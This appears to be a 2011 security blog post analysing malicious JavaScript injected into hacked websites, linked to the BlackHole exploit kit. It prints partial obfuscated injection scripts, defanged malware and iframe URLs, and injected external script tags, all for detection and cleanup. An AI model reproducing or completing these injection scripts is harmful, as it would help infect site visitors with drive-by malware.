This is a review of the malware injection attack that I see quite often lately.
On Safe Browsing diagnostic pages, infected sites usually mention the following domains:
Malicious software is hosted on 4 domain(s), including new-solomon .cz.cc/, newsalamandra .cz.cc/, banpox .cz.cc/.
2 domain(s) appear to be functioning as intermediaries for distributing malware to visitors of this site, including chadon .nl/, 75.127.108 .0/.
In intermediaries, they usually include chadon .nl, corkit .co, tongho.co.th and some IP address.
On infected sites, I found various modification of a script that generally looks like this:
if (typeof(defs_colors)=="undefined") {
var defs_colors = 1;
var div_colors = new Array('#778383', '#7f493e', '#3e7277', '#70737e', '#7d3d7d',...);
var css_colors = new Array('#717e73', '#887378', '#857378', '#827f7b', '#70887d',...);
var css_indexes = new Array(4, 3, 7, 4, 6, 39, 17, 3, 4);
function div_pick_colors(t) {
...skipped...
}
check_div_styles();
}
Depending on the script revision, it injects a hidden iframe that loads malicious content from the following URLs:
hxxp://chadon .nl/ozitude/catalog/?catalogrssnews=1
hxxp://85 .128 .169 .137/webim/jquery.min.html
Usually all .html files are infected.
This scripts can be found in many different places:
It is not enough to remove the malicious code from legitimate files. Websites that don’t close the security hole are usually reinfected within a day or so.
Not only do hackers reinfect compromised sites but they also regularly update injected malicious code (probably to make detection more difficult).
On one of the infected sites, I found a different type of a malicious script along with the familiar defs_colors code.
function createCSS(selector,declaration){var ua=navigator.userAgent.toLowerCase();...skipped...kgl=new Date(2010,11,3,2,21,4);t=kgl.getSeconds();var dkel=[420/t,408/t,160/t,400/t,444/t,396/t,468/t,436/t,...skipped...,408/t,164/t,236/t,500/t|;var aty="";var g=function(){return this;}();ko=g["e"+iu+"l"];...skipped...}setTimeout(function(){ko(ydxx);},500);
This script created a hidden iframe with the same source as the defs_colors code on the same page: hxxp://85 .128 .169 .137/webim/jquery.min.html – so both scripts belong to the same attack.
Some more iframe URLs used by the createCSS the script:
What else those defs_colors and createCSS have in common is the way they pretend to be legitimate scripts.
Both revisions of the code have similar injection locations. However, for the createCSS (probably as a more old type) I noticed a few more interesting locations and injection patterns.
Sometimes hackers inject an external script that points to either a .js or a .php file on a different site. Sometimes both types of external scripts are injected into the same page:
<scriрt type="text/javascript" src="http://ba██████████████.pl/search.php"></scriрt>
<scriрt type="text/javascript" src="http://on████████████.com.au/swfobject.js"></scriрt>
Note, the masked domain names belong to legitimate websites where hackers created those search.php and swfobject.js files that only consist of that createCSS malicious code. Moreover, those legitimate websites may in turn be infected with links to similar external scripts on other compromised legitimate sites. This scheme resembles Gumblar that also injected links to malicious scripts (with .php extension) on other hacked site. Each site could both have infected web pages and at the same time contain files that infect unrelated third-party sites (act a a zombie site).
As we know, Gumblar used stolen FTP credentials to break into legitimate websites and infect them. This time this vector is also confirmed by hosting providers who can see traces of the injections in FTP logs of compromised sites. However, stolen passwords seem to be not the only exploited security hole, on certain sites the same scripts are reported to be injected using vulnerabilities in web applications. Well, it’s 2011 and hacker attacks become more and more versatile.
This createCSS code is familiar to a security community for quite some time. I read about it on Symantec’s blog where they identified it as being injected by criminals who used the BlackHole exploit kit. According to Symantec, it was (and probably still is) the most prevalent exploit toolkit in the wild and was spreading like a wildfire.
Based on the information I currently have about this attack, here my recommendations to webmasters of affected sites:
Update. There is some new information on this attack that includes injected PHP code, osCommerce vulnerability and backdoor files
###
If this BlackHole toolkit is really so popular this sort of hacks will not go away soon. The attack will only evolve. So let’s gather more information about it and help each other. Tell us your success story if you managed to completely clean up your site, or a disaster story if the malware keeps on returning driving you mad. Maybe you have some evidences, such as FTP logs or backdoor scripts found on your server. Maybe you know how exactly hackers steal site passwords. Any information is welcome!
Related posts:
[...] My clients were faced with following CreateCSS injection. [...]